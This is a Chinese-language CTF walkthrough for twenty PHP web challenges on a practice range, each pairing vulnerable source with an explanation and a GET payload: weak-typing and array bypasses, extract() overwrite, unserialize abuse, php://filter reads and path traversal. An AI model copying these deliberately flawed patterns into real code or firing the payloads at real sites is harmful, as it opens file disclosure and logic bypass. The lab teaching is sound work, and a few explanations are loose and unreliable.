AI摘要:这篇文章是关于封神台一月靶场通关的笔记,详细介绍了如何通过各种方法绕过PHP的安全机制,包括过滤绕过、正则表达式检查、字符串位置检查、PHP弱类型、反序列化、MD5函数绕过等。每个方法都有详细的解题步骤和Payload。这些方法可以帮助读者更好地理解PHP的安全漏洞,并提供了一种实际的应用场景。

1.WEB-Filter(过滤绕过)

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

要满足的条件

num参数通过is_numeric函数的检测,并且不等于36去空后依然不等于36,经过filter后等于36

解题

直接用下面这段代码跑出符合条件的参数URL: %0C36

<?php
function filter($num)
{
    $num = str_replace("0x", "1", $num);
    $num = str_replace("0", "1", $num);
    $num = str_replace(".", "1", $num);
    $num = str_replace("e", "1", $num);
    $num = str_replace("+", "1", $num);
    return $num;
}

for ($i = 0; $i < 129; $i++) {
    $num = chr($i) . '36';
    if (trim($num) !== '36' && is_numeric($num) && $num !== '36' && filter($num) == '36') {
        echo urlencode($num) . "\n";
    }
}

Payload

?num=%0C36

2.WEB-简单的正则

<?php 
error_reporting(0); 
highlight_file(__FILE__); 
include("flag.php"); 
if(isset($_GET['f'])){ 
    $f = $_GET['f']; 
    if(preg_match('/.+?zkaqzkaq/is', $f)){ 
        die('bye!'); 
    } 
    if(stripos($f, 'zkaqzkaq') === FALSE){ 
        die('bye!!'); 
    } 
    echo $flag; 
}

解题

  1. 正则表达式检查if(preg_match('/.+?zkaqzkaq/is', $f)) 这一行代码使用了正则表达式来检查变量 $f 中是否包含字符串 "zkaqzkaq"。这里的正则表达式 /.+?zkaqzkaq/is 意味着它会寻找任何紧跟在任意字符后面的 "zkaqzkaq" 字符串。如果找到了,脚本就会终止执行。
  2. 字符串位置检查if(stripos($f, 'zkaqzkaq') === FALSE) 这一行代码检查字符串 "zkaqzkaq" 是否在变量 $f 中。如果没有找到,脚本也会终止。

绕过

  1. preg_match:当preg_match遇到数组时,它无法进行匹配,因此返回false。这意味着,如果我们通过将$f设置为数组,可以绕过preg_match('/.+?zkaqzkaq/is', $f)的检查。
  2. stripos:同样,stripos在处理数组时会返回NULLNULLFALSE在PHP中是不同的,因此stripos($f, 'zkaqzkaq') === FALSE这个比较在$f是数组时不成立。

Payload

1. ?f=zkaqzkaq[]

2. ?f[]=xx

3.WEB-PHP弱类型1

<?php
error_reporting(0);
show_source(__FILE__);
include('flag.php');
$number = $_GET['num'];
if(isset($number)){
    if($number != '123'){
        if(intval($number) == 123){
            echo $flag;
        }else{
            echo $flag_e;
        }
    }else{
        echo 'bing_go_rule';
    }
}else{
    echo '你倒是输入点儿东西...';
} 你倒是输入点儿东西...

解题

关键点在于$number != '123'intval($number) == 123这两个条件。

要满足这两个条件,我们需要构造一个字符串,它不等于'123',但是当使用intval函数转换为整数时,它等于123。

intval函数会从字符串的开始部分读取数字,直到遇到非数字字符为止。所以,我们可以在数字123后加上一些非数字字符来构造这样的字符串。

payload

?num=123a

4.PHP弱类型2

<?php
error_reporting(0);
highlight_file(__FILE__);
$num  = $_GET['num'];
if(isset($num) && is_numeric($num)){
    die("不允许数字");
}else if($num > 1024){
    echo file_get_contents('../flag');
}

解题

在PHP中,如果一个字符串以数字开头,那么在进行数值比较时,这个字符串会被当作数字处理。例如,字符串 "1234abc" 会被视为数字 1234。利用这一点,可以绕过 is_numeric($num) 的检查,因为这个函数只检查变量是否为数字或数字字符串

Payload

?num=1025abc

5.WEB-PHP弱类型3

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
$num = $_GET['number'];
$b = 100;
if(isset($num)){
    if(strlen($num) < 3){
        if(strcmp($num,$b) == 0){
            echo $flag;
        }else{
            echo 'flag{买了佛冷}';
        }
    }else{
        echo '请确保输入的字符数量少于3位';
    }
}else{
    echo '劳烦大佬输入点东西';
} 

解题

strcmp()函数如果其任一参数不是字符串,strcmp()会返回NULL。因此,如果$num不是字符串,strcmp($num, $b)的结果将是NULL。 == 运算符进行比较时,PHP 会进行类型的强制转换。在这个过程中,NULL 被视为等于 0

Payload

?number[]=11111

6.WEB-strlen+intval绕过

<?php
error_reporting(0);
highlight_file(__FILE__);
$num  = $_GET['num'];
if(isset($num) && strlen($num) <= 4 && intval($num + 1) > 500000)
{
    echo file_get_contents('../flag');
}

解题

intval函数试图将$num + 1转换为一个整数。在PHP中,当一个字符串如"1e1234"被用在数值上下文中时,由于e后面跟随的数字表示指数,"1e1234"在经过intval转换时候会被认为1 * 10^1234

Payload

?num=9e9

7.WEB-简单反序列化(考点:反序列化)

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class Fun{
    public $name = 'vFREE';
    public $age = '19';
    public $look = 'handsome';
}
$fun = new Fun();
$ser = serialize($fun);
$un = $_GET['un'];
if($un == $ser){
    echo $flag;
}else{
    echo 'flag{一道很简单的反序列化}';
}

解题

代码中创建了一个Fun类的实例$fun,并将其序列化成字符串$ser。然后,代码比较由GET请求传入的un参数和$ser。如果两者相等,则显示$flag

Payload

<?php

class Fun
{
    public $name = 'vFREE';
    public $age = '19';
    public $look = 'handsome';
}

$fun = new Fun();
$payload = serialize($fun);
echo $payload;


最终Payload:
    ?un=O:3:"Fun":3:{s:4:"name";s:5:"vFREE";s:3:"age";s:2:"19";s:4:"look";s:8:"handsome";}

8.WEB-登录(考点:sha1函数绕过)

打开靶场,F12看见源码

<p>Your password can not be your username!</p><!--else if (sha1($_GET['username']) === sha1($_GET['password']))
      die('Flag: '.$flag);-->

解题

传递?username=1&password=1提示Your password can not be your username!(账号密码不能相同)

对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

Payload

?username[]=0&password[]=1

9.WEB-谁的平方等于零?

<?php
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a*$a==0){
    echo file_get_contents('../flag');
}

解题

php有一个特性是,小数点后超过161位做平方运算时会被截断

Payload

?a=1e-162

10.WEB-Easy_PHP

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
$str = $_GET['str'];
$res = strpos($str, 'zkaq');
if (isset($str)) {
    if ($res == 1) {
        echo '看吧,so easy!!!flag > ' . $flag;
    } else {
        echo '再try一try!';
    }
} else {
    echo 'easy_php~';
}

解题

strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int
返回 needle 在 haystack 中首次出现的数字位置,同时注意字符串位置是从0开始,而不是从1开始的

Payload

?str=azkaq

11.WEB-Easy_Extract

<?php
error_reporting(0);
show_source('./index.php');
include('./flag.php');
$auth = 100;
extract($_GET);
if (isset($_GET)) {
    if ($auth == 1000) {
        echo $flag;
    } else {
        echo 'Hello,World!';
    }
} else {
    echo '你倒是输入点东西...';
}

解题

extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int
本函数用来将变量从数组中导入到当前的符号表中。
检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。

Payload

?auth=1000

12.WEB-Easy_Extract-2

<?php
error_reporting(0);
show_source('./index.php');
include('./flag.php');
extract($_GET);
if (!empty($ac)) {
    $f = trim(file_get_contents($fn));
    if ($ac === $f) {
        echo "<p>This is flag:" . " $flag</p>";
    } else {
        echo "<p>sorry!</p>";
    }
//目录下有个txt文件哦
}

解题

提示目录下有个txt文件哦猜测为flag.txt,访问得到文件内容flags

Payload

?fn=flag.txt&ac=flags

13.WEB-JSON_DECODE

<?php
error_reporting(0);
highlight_file(__FILE__);
$num = $_GET['num'];
if (!isset($num) || (strlen($num) == 0)) die("no");
$b = json_decode($num);
if ($y = $b === NULL) {
    if ($y === true) {
        echo file_get_contents('../flag');
    }
} else {
    die('no');
}

解题

json_decode ( string $json [, bool $assoc = FALSE [, int $depth = 512 [, int $options = 0 ]]] ) : mixed
接受一个 JSON 编码的字符串并且把它转换为 PHP 变量

通过恰当的 PHP 类型返回在 json 中编码的数据。值true, false 和 null 会相应地返回 TRUE, FALSE 和 NULL。 如果 json 无法被解码, 或者编码数据深度超过了递归限制的话,将会返回NULL 。

关键漏洞在于这个判断语句:if ($y = $b === NULL),这里使用了一个赋值操作符(=)而不是比较操作符(=====),这意味着$y实际上被赋值为$b === NULL的结果(即truefalse)。所以这里只需要传递一个格式错误的Json就行了

Payload

?num={[}

14.WEB-文件

<?php
error_reporting(0);
function filter($file)
{
    if (preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i', $file)) {
        die("hacker!");
    } else {
        return $file;
    }
}

$file = $_GET['file'];
if (!is_file($file)) {
    highlight_file(filter($file));
} else {
    echo "hacker!";
}
highlight_file(__FILE__);

解题

is_file ( string $filename ) : bool
判断给定文件名是否为一个正常的文件。

因此传递的参数不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。

PHP伪协议详解-CSDN博客

Payload

可以直接用不带任何过滤器的filter伪协议
?file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php

15.WEB-MD5()

<?php
error_reporting(0);
include('flag.php');
show_source('./index.php');
$num = $_GET['num'];
if (isset($num)) {
    if ($num !== '0') {
        if (md5($num) == False) {
            echo $flag;
        } else {
            echo 'no_flag';
        }
    } else {
        echo '不能为0';
    }
} else {
    echo '你倒是输入点东西啊!!!';
}
?>

解题

对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

Payload

?num[]=1

16.WEB-数组KEY溢出

<?php
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
if ($array[++$a] = 1) {
    if ($array[] = 1) {
        echo "nonono";
    } else {
        echo file_get_contents('../flag');
    }
}

解题

PHP 中的数组索引是整数,当整数超出 PHP 整数的最大值时,会发生溢出。在 32 位系统中,PHP 的整数最大值是 2^31-1,即 2147483647;在 64 位系统中,最大值是 2^63-1。

为了使 $array[]=1 这个操作失败,需要 $a 在自增后能够让 $array 的下一个索引位置已被占用。这可以通过整数溢出来实现:

  1. $a 设置为 PHP 整数的最大值。当 ++$a 执行时,由于整数溢出,$a 会变成一个负数(在 32 位系统中,会变成 -2147483648)。
  2. 由于 $array[++$a]=1 会在负数索引处设置值,$array 的下一个正数索引(通常是 0)仍然是空的,因此 $array[]=1 仍会在索引 0 处赋值。
  3. 但是,如果我们让 $a 刚好小于 PHP 的整数最大值,那么自增后 $a 会变成最大值,然后 $array[++$a]=1 会在最大整数索引处赋值。此时 $array 下一个可用索引会超出整数范围,从而导致 $array[]=1 失败。

Payload

在 32 位 PHP 版本中,将 $a 设置为 2147483646(2^31-2)
在 64 位 PHP 版本中,将 $a 设置为 9223372036854775806(2^63-2)

17.WEB-不存在的伪协议头

<?php
highlight_file(__FILE__);
error_reporting(0);
if (!preg_match('/^http/is', $_GET['a'])) {
    die("no hack");
}
echo file_get_contents($_GET['a']);

解题

file_get_contents()函数遇到不认识的伪协议头时,它会将这个伪协议头当做文件夹来处理。这意味着我们可以通过精心构造的伪协议头来读取服务器上的文件。

file_get_contents(),在处理未知的伪协议头时,会将其视为文件路径的一部分。

Payload

?a=httpa://../../../../../flag

18.WEB-反序列化

打开网页,输出当前时间,查看源码发现

<!-- GET:  ?source=   -->(当前时间)

尝试传参?source得到源码:

<?php
error_reporting(0);

class HelloPhp
{
    public $a;
    public $b;

    public function __construct()
    {
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }

    public function __destruct()
    {
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}

$c = new HelloPhp;
if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die(0);
}

$ppp = unserialize($_GET["data"]);

解题

观察源代码,不传递source参数时就对data参数执行反序列化,直接构造Payload输出flag

<?php

class HelloPhp
{
    public $a;
    public $b;

    public function __construct()
    {
        $this->a = 'flag.php';
        $this->b = "highlight_file";
    }
}

$c = new HelloPhp;
echo serialize($c);

输出:O:8:"HelloPhp":2:{s:1:"a";s:8:"flag.php";s:1:"b";s:14:"highlight_file";}

Payload

?data=O:8:"HelloPhp":2:{s:1:"a";s:8:"flag.php";s:1:"b";s:14:"highlight_file";}

19.WEB-MD5()-2

<?php
error_reporting(0);
highlight_file(__FILE__);
if ($_GET['a'] != $_GET['b']) {
    if (md5($_GET['a']) == md5($_GET['b']))
        echo file_get_contents('../flag');
    else
        echo 'no';
}

解题

参数a!=参数b,但两个参数值的md5相同

  1. md5()函数不能处理数组,传递数组会返回NULL,因此可以采用数组绕过
  2. PHP弱比较时,会把数字开头的数字+e开头的认为是科学计数法,因此可以找出两个md5都是0e开头的字符串绕过,可以使用下面这个脚本找出

    <?php
    $a = 0;
    while (true) {
        if (md5($a) == 0) {
            echo $a . PHP_EOL;
        }
        $a++;
    }

Payload

1. ?a=240610708&b=314282422
2. ?a[]=1&b[]=2

20.WEB-MD5()-3

<?php
error_reporting(0);
highlight_file(__FILE__);
if ($_GET['a'] != $_GET['b']) {
    if (md5($_GET['a']) === md5($_GET['b']))
        echo file_get_contents('../flag');
    else
        echo 'no';
}

解题

  1. 类型检查:强比较(===)检查值和类型,而弱比较(==)仅检查值。
  2. 类型转换:弱比较(==)在比较前会尝试将值转换为相同类型,而强比较(===)不进行类型转换。

19.WEB-MD5()-2-2)类似,但弱比较换成了强比较,因此只能使用数组绕过

Payload

?a[]=1&b[]=2